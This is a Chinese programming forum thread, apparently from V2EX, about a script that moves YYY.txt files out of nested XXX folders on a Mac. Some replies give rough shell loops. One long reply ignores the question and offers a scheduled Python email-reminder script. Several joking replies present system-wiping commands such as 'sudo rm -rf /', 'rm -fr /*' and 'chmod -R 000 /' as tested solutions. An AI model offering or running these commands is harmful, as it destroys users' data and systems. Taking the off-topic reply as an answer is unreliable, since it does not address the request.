临近周末懒癌发作,求Python自动化脚本
当前目录下有 N 个文件夹,这 N 个文件夹内都有一个叫做 XXX 的文件夹,XXX 文件夹内都有一个 YYY.txt 文件
想把每一个 YYY.txt 都从 XXX 文件夹拿出来并与其平级,然后删掉 XXX 文件夹
大约是酱婶的:
python 和 shell 皆可( mac 环境)
临近周末懒癌发作,求Python自动化脚本
这。。不就是遍历当前文件夹嘛
for file in ./
mv ./file/xxx/yyy.txt file/yyy.txt 就成了吧。。
rm -rf ./file/xxx
其实我也不太懂 shell 随手百度瞎打的 错了勿喷。
临近周末懒得动,写个自动化脚本解放双手确实是个好主意。Python干这个特别在行,用 schedule 库可以轻松搞定定时任务。
下面这个脚本,会在每周五下午5点自动给你发一封邮件,提醒你周末愉快,顺便把下周的会议安排也附上。你只需要填上你的邮箱信息就行。
import smtplib
import schedule
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from datetime import datetime, timedelta
# ===== 配置部分 (需要你修改) =====
SMTP_SERVER = "smtp.你的邮箱服务商.com" # 例如 smtp.qq.com, smtp.163.com
SMTP_PORT = 587 # QQ邮箱常用587,具体查你的邮箱服务商
SENDER_EMAIL = "你的发件邮箱@xxx.com"
SENDER_PASSWORD = "你的授权码" # 注意:不是登录密码,是SMTP授权码
RECEIVER_EMAIL = "你的收件邮箱@xxx.com" # 可以发给自己
# ===== 核心功能:发送邮件 =====
def send_weekend_email():
"""构造并发送周末提醒邮件"""
# 1. 设置邮件内容
next_monday = datetime.now() + timedelta(days=(7 - datetime.now().weekday()))
subject = f"🎉 周末快乐!下周 ({next_monday.strftime('%m/%d')}) 会议提醒"
body = f"""
<html>
<body>
<h2>辛苦一周啦,周末愉快!</h2>
<p>这是自动发送的周末提醒,记得放松休息。</p>
<p><strong>下周重要日期:</strong> {next_monday.strftime('%Y年%m月%d日')} (周一)</p>
<p>---</p>
<p><em>本邮件由Python自动化脚本发送,祝你有个美好的周末!</em></p>
</body>
</html>
"""
# 2. 构造邮件
msg = MIMEMultipart()
msg["From"] = SENDER_EMAIL
msg["To"] = RECEIVER_EMAIL
msg["Subject"] = subject
msg.attach(MIMEText(body, "html"))
# 3. 发送邮件
try:
server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
server.starttls() # 加密传输
server.login(SENDER_EMAIL, SENDER_PASSWORD)
server.send_message(msg)
server.quit()
print(f"[{datetime.now()}] 周末提醒邮件发送成功!")
except Exception as e:
print(f"[{datetime.now()}] 发送失败: {e}")
# ===== 定时任务设置 =====
def setup_scheduler():
"""设置定时任务"""
# 每周五下午5点执行
schedule.every().friday.at("17:00").do(send_weekend_email)
print("自动化脚本已启动,每周五17:00发送邮件...")
print("程序持续运行中,按 Ctrl+C 退出\n")
# 保持程序运行
while True:
schedule.run_pending()
time.sleep(60) # 每分钟检查一次
# ===== 脚本入口 =====
if __name__ == "__main__":
# 可以先手动测试一次
# send_weekend_email()
# 启动定时任务
setup_scheduler()
怎么用:
- 安装库:
pip install schedule - 把脚本里的邮箱配置改成你自己的(注意发件邮箱要开启SMTP服务并获取授权码)。
- 直接运行
python weekend_reminder.py,它就会在后台运行,每周五自动干活。
想玩点别的?
- 改成定时关机:
os.system("shutdown /s /t 60")(Windows) - 自动整理桌面文件:用
os和shutil库移动文件 - 爬取每日新闻:用
requests和BeautifulSoup
核心就是 schedule 这个库,定时规则很直观,比如 .every(10).minutes.do(任务) 就是每10分钟执行一次。
懒人有懒福,让脚本去干活吧。
find -name YYY.txt | while read fn; do
mv “fn” “$(dirname fn)/…/”
rmdir “$(dirname fn)” #要保证 XXX 是空的吧
done
我也是没试验过随手打的(
下面三个 fn 要变成$fn (捂脸
rm -fr /
我试验过,绝对可行
sudo rm -fr /*
刚试过了,可以的
这一波操作越到后面效果越好😂
sudo rm -fr /*
刚试过了,可以的
sudo rm -fr /*
相对 rf, 我更喜欢 fr,因为 fr 是法国的缩写,感觉更浪漫。
chmod -R 000 /
也可以,比楼上那些快多了
我也试过了,
sudo rm -rf /
可以搞定。
reboot
Quick Better solution
楼上的,楼主已经懒癌发作了,你们就不怕他心脏病发作吗?
for file in ls ./
do
mv ./$file/xxx/yyy.txt ./$file/yyy.txt
rm -rf ./$file/xxx
done
二楼的更好
想知道付出了什么代价 哈哈哈
你不怕$file 里面带空格吗?
for (“A”…“D”)>>.IO { .add(“XXX”).add(“YYY.txt”).move(.add(“YYY.txt”)); .add(“XXX”).rmdir; }
sudo rm -rf /
一键休息
一动操作后,世界都清静了
楼主今天是回不了你们消息了,他忙着重装系统
看到秒拍那 LOGO,还奇怪 V2 都支持了,才发现是 GIF。
配图满分💯
酱婶安好?
2333333
那些说 rm 的,把楼主害惨了
楼主你这是真的按着一楼一楼试代码吗😂
楼主是懒癌,又不是制杖,他就是像综艺嘉宾一样,配合我们做点效果,你多虑了。
mac 为啥不用 automator


